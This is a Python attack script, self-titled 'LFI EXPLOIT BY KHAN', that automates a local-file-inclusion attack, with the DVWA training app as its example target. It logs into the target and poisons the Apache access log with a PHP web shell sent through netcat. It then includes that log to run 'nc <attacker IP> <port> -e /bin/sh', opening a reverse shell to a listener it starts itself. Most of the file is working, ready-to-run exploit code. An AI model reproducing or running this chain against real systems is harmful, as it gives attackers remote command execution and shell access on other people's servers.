#unset QT_QPA_PLATFORM
#sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment
from bs4 import BeautifulSoup
import requests
import multiprocessing as mp
from selenium import webdriver
import time
import datetime
import os
import sys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import Select

class LFT_RFI_automate():
	def __init__(self,target="",base=""):
		try:
			print("\n\n\n LFI EXPLOIT BY KHAN \n\n\n")
			self.target=sys.argv[2]
			self.base=sys.argv[1]
			self.target_link=sys.argv[3]
			self.v_param=sys.argv[4]
			self.att_ip=sys.argv[9]
			self.att_port=sys.argv[10]
			if sys.argv[11] == str(1):
				self.add_param=sys.argv[12]
			self.server_domain=""
			if sys.argv[5] == str(0):
				self.login=False
			else :
				self.login=True
			if self.login :
				self.email_field=sys.argv[6].split(":")[0]
				self.email=sys.argv[6].split(":")[1]
				self.password_field=sys.argv[7].split(":")[0]
				self.password=sys.argv[7].split(":")[1]
				self.login_button=sys.argv[8]
				self.server_domain=self.base

		except Exception as ex:
			print("\n\nException caught : " +str(ex))
			print('\n\nExample : python LFI_RFI.py <target ip> <target Base/Login URL> <target Vulnetable URL> <Target Vul parameter> <Login required (1/0)> <Login field name:Login field value> <Password field name:Password field value> <Login Button name> <Attacker IP> <Attacker Lister PORT> <Add params required (1/0)> <add_param_name1=add_param_value1,add_param_name2=add_param_value2>')
			print('\n\nExample : python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 username:admin password:password Login 192.168.1.102 4444 0')
			sys.exit()

	def send_exp(self,delay,browser,exp_url):
		print("Send Exploit STARTED")
		time.sleep(delay)
		browser.get(exp_url)
		browser.save_screenshot('Exploit.png')
		print("Send Exploit END")
		
	def start(self):
		try:
			if self.login :
				browser = webdriver.PhantomJS()
				browser.get(self.target)
				element_username=browser.find_element_by_name(self.email_field);
				element_username.clear()
				element_username.send_keys(self.email)
				element_username.click()
				element_password=browser.find_element_by_name(self.password_field);
				element_password.clear()
				element_password.send_keys(self.password)
				element_password.click()

				try:
					element_submit = WebDriverWait(browser, 2).until(
						EC.element_to_be_clickable((By.NAME,self.login_button))
					)
					time. sleep(2)
					element_submit.click()
				except Exception as ee:
							print("Exception : "+str(ee))
							browser.quit()
			else:
				browser = webdriver.PhantomJS()
				browser.get(self.target)
				
			html = browser.page_source
			cookie={'domain':self.server_domain,'name': 'security','value':'low',
			'path': '/dvwa/','httponly': False, 'secure': False}
			#security=low; PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2
			browser.add_cookie(cookie)
			all_cookies = browser.get_cookies()				
			soup = BeautifulSoup(html, "html.parser")
			anchor_tags=soup.find_all("a")
			browser.save_screenshot('screen.png')
			print("\n Saved Screen shot Post Login / Firt request")
			self.nav_url=self.target_link+"?"+str(self.v_param)+"=<?php echo shell_exec($_GET['cmd']); ?>"
			print("Preparing Payload")
			os.system("echo '"+str(self.nav_url) +"' > exp.txt")
			print("Payload prepared")
			print("\n\nOpening Netcat to send payload..... ")
			os.system("echo 'nc "+self.base+" 80 < exp.txt' > exp.sh")
			os.system("chmod +x exp.sh")
			os.system("./exp.sh")
			print("Payload sent")
			print("Now sending Payload in 5 sec")
			exp_url=self.target_link+"?"+str(self.v_param)+"=/var/log/apache2/access.log&cmd=nc "+self.att_ip+" "+self.att_port+" -e /bin/sh"
			print("\n\n Exploit to be send : " +str(exp_url))
			p=mp.Process(target=self.send_exp,args=(5,browser,exp_url))
			p.start()
			print("Starting NC")
			print("Preparing EXploit to send")
			os.system("nc -nlvp 4444")
		except Exception as ex:
			print(str(ex))

obj=LFT_RFI_automate()
obj.start()
